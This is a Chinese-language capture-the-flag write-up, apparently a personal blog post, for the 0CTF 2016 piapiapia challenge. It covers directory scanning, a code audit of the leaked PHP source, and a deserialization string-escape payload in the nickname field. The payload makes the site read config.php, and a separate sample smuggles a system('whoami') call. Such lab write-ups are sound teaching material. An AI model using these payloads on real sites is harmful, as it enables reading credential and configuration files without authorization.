程式碼審計[一] [0CTF 2016]piapiapia

eth258發表於2024-03-31

程式碼審計[一]

[0CTF 2016]piapiapia

image-20240330222529862

對著登入框一頓亂注,發現都沒什麼效果,於是轉向目錄爆破。

gobuster不知道為什麼爆不了,只能用dirsearch來了

dirsearch -u [url]  -s 1 -t 10
image-20240330223719374

爆到了一整個原始碼備份壓縮包,下載後進行分析

image-20240330223833938

原始碼分析

index.php

對於html部分,可以見到是登入介面,就不貼出來了。而php程式碼部分:

<?php
	require_once('class.php');//引入了class.php檔案
//判斷使用者是否已經登入,如果已登入就重定向到profile.php
	if($_SESSION['username']) {
		header('Location: profile.php');
		exit;
	}
	if($_POST['username'] && $_POST['password']) {
		$username = $_POST['username'];
		$password = $_POST['password'];
//輸入限制
		if(strlen($username) < 3 or strlen($username) > 16) 
			die('Invalid user name');

		if(strlen($password) < 3 or strlen($password) > 16) 
			die('Invalid password');
//連結到class.php的函式中,作用是和資料庫中的賬密匹配
		if($user->login($username, $password)) {
			$_SESSION['username'] = $username;
			header('Location: profile.php');
			exit;	
		}
		else {
			die('Invalid user name or password');
		}
	}
	else {
?>

那就往class.php方向走

class.php

這個檔案的篇幅很大,就拆有用的部分出來分析。

	//註冊頁面驗證
	public function register($username, $password) {
        //呼叫 父類中的filter處理值
		$username = parent::filter($username);
		$password = parent::filter($password);

		$key_list = Array('username', 'password');
		$value_list = Array($username, md5($password));
        //插入資料庫中
		return parent::insert($this->table, $key_list, $value_list);
	}
	//登入頁面查詢
	public function login($username, $password) {
		$username = parent::filter($username);
		$password = parent::filter($password);

		$where = "username = '$username'";
        //在資料庫中查詢是否存在此資訊
		$object = parent::select($this->table, $where);
		if ($object && $object->password === md5($password)) {
			return true;
		} else {
			return false;
		}
	}
public function filter($string) {
    //過濾符號 '和 \\
		$escape = array('\'', '\\\\');
    //用implode講元素用|連起來,做成一個正規表示式模式,下面同理
		$escape = '/' . implode('|', $escape) . '/';
		$string = preg_replace($escape, '_', $string);
		$safe = array('select', 'insert', 'update', 'delete', 'where');
		$safe = '/' . implode('|', $safe) . '/i';
		return preg_replace($safe, 'hacker', $string);
	}

register.php

從class.php中,我們瞭解到那是一個處理各種情況下的資料庫操作程式碼。我們並沒有一個登入的環境session,目錄爆出來有register頁面,那就直接去註冊一個。html部分是表單,就省略了,以下是php程式碼

<?php
	require_once('class.php');
	if($_POST['username'] && $_POST['password']) {
		$username = $_POST['username'];
		$password = $_POST['password'];
	//對username和password做了輸入限制
		if(strlen($username) < 3 or strlen($username) > 16) 
			die('Invalid user name');

		if(strlen($password) < 3 or strlen($password) > 16) 
			die('Invalid password');
        //限制都透過,且資料庫沒有相同使用者下,寫入註冊資料到資料庫中,重定向到index.php
		if(!$user->is_exists($username)) {
			$user->register($username, $password);
			echo 'Register OK!<a href="index.php">Please Login</a>';		
		}
		else {
			die('User name Already Exists');
		}
	}
	else {
?>

重定向到index.php,成功登入驗證後會跳轉到profile.php

profile.php

開啟一看是個詳細資訊補全頁面,html是展出資訊,所以依然省略。以下是php程式碼

<?php
	require_once('class.php');
	if($_SESSION['username'] == null) {
		die('Login First');	
	}
	$username = $_SESSION['username'];
	//對session中的使用者到資料庫中查詢對應資訊
	$profile=$user->show_profile($username);
	if($profile  == null) {
        //若沒有任何資訊,重定向到update.php
		header('Location: update.php');
	}
	else {
        //若有資訊,則反序列化$profile
		$profile = unserialize($profile);
		$phone = $profile['phone'];
		$email = $profile['email'];
		$nickname = $profile['nickname'];
        //注意到有一個file_get_contents函式
		$photo = base64_encode(file_get_contents($profile['photo']));
?>

現在找到了一個能檔案包含的函式,結合起序列化,我們可以做一個字元逃逸的反序列化payload,但是現在不知道包含些什麼檔案,繼續往下看。

update.php

同樣,html是表單部分,不看。以下是php程式碼

<?php
   require_once('class.php');
   if($_SESSION['username'] == null) {
      die('Login First');    
   }
   if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {

      $username = $_SESSION['username'];
       //各種輸入過濾驗證
      if(!preg_match('/^\d{11}$/', $_POST['phone']))
         die('Invalid phone');

      if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
         die('Invalid email');
      
      if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
         die('Invalid nickname');

      $file = $_FILES['photo'];
      if($file['size'] < 5 or $file['size'] > 1000000)
         die('Photo size error');
		//查了一下這個函式,是講上傳檔案移動到指定位置的
       //$file['tmp_name']    --原路徑
       //'upload/' . md5($file['name']) --upload檔案下用md5命名每個檔案
      move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
      $profile['phone'] = $_POST['phone'];
      $profile['email'] = $_POST['email'];
      $profile['nickname'] = $_POST['nickname'];
      $profile['photo'] = 'upload/' . md5($file['name']);
	//看到這裡md5,本來想試試ffifdyop的,但是跟著update_profile跳轉後,發現符號'是被過濾的,動不了手腳
     //那方向明確了,就是反序列化字元逃逸,但是該包含什麼檔案?
      $user->update_profile($username, serialize($profile));
      echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
   }

?>

config.php

最後一個檔案,一看原始碼,豁然開朗了。那就檔案包含config.php

<?php
	$config['hostname'] = '127.0.0.1';
	$config['username'] = 'root';
	$config['password'] = '';
	$config['database'] = '';
	$flag = '';
?>

反序列化字元逃逸

分析filter函式,可以看到特定字元會被過濾為hacker,而hacker有6個字元,特定字元資料中,有5/6位的字元,那麼可以構成一個字元增加利用

public function filter($string) {
    //過濾符號 '和 \\
		$escape = array('\'', '\\\\');
    //用implode講元素用|連起來,做成一個正規表示式模式,下面同理
		$escape = '/' . implode('|', $escape) . '/';
		$string = preg_replace($escape, '_', $string);
		$safe = array('select', 'insert', 'update', 'delete', 'where');
		$safe = '/' . implode('|', $safe) . '/i';
		return preg_replace($safe, 'hacker', $string);
	}

這裡貼上我之前的些筆記

字元增加的利用

$data= 'O:4:"test":2:{s:2:"v1";s:48:"lslslslslsls";s:2:"v2";s:16:"system("whoami")";}";s:2:"v3";s:3:"123";}';
//我們可以得知字元替換後長度會增加6,那麼我們可以做一些敏感命令藏在語句當中。
//比如";s:2:"v2";s:16:"system("whoami")";}這一段
$data=str_replace("ls","nohacker",$data);//2->8 eat 6
var_dump(unserialize($data));

輸出結果:

object(test)#1 (2) {
  ["v1"]=>
  string(48) "nohackernohackernohackernohackernohackernohacker"
  ["v2"]=>
  string(16) "system("whoami")"
}

做題

重新來看看這兩個

$profile['phone'] = $_POST['phone'];
		$profile['email'] = $_POST['email'];
		$profile['nickname'] = $_POST['nickname'];
		$profile['photo'] = 'upload/' . md5($file['name']);

		$user->update_profile($username, serialize($profile));
	$profile = unserialize($profile);
		$phone = $profile['phone'];
		$email = $profile['email'];
		$nickname = $profile['nickname'];

		$photo = base64_encode(file_get_contents($profile['photo']));

並起來一起看就有頭緒了,可以在nickname的輸入中用字元逃逸的方法擠一個config.php給photo,然後從profile.php介面圖片的base64解碼內容就是config.php的所有內容

構造payload

因為一開始忘記nickname有輸入限制,導致我構造出來的一直錯誤。所以看了網上一圈wp,發現還能用陣列方式來繞過,學到了。

nickname[]=where*34";}s:5:"photo";s:10:"config.php";}//只能是where,其他都是6位字元

經過filter函式後變成

nickname[]=hacker*34";}s:5:"photo";s:10:"config.php";}

增加的34個字元,恰好把";}s:5:"photo";s:10:"config.php";}吐出來。而對於為什麼前面會有{看到了一篇wp做了解析才明白,陣列在序列化中樣式會有所不同

[0CTF 2016]piapiapia WP(詳細)_[0ctf 2016]piapiapia wp-CSDN部落格

實操

註冊-->登入-->profile開始抓包

db5d600b6c4085d3cffabd86c6889e9

放包後訪問profile.php,檢視圖片原始碼,base64解碼

7a0655bf0a8fe49a89150f08645f50e

相關文章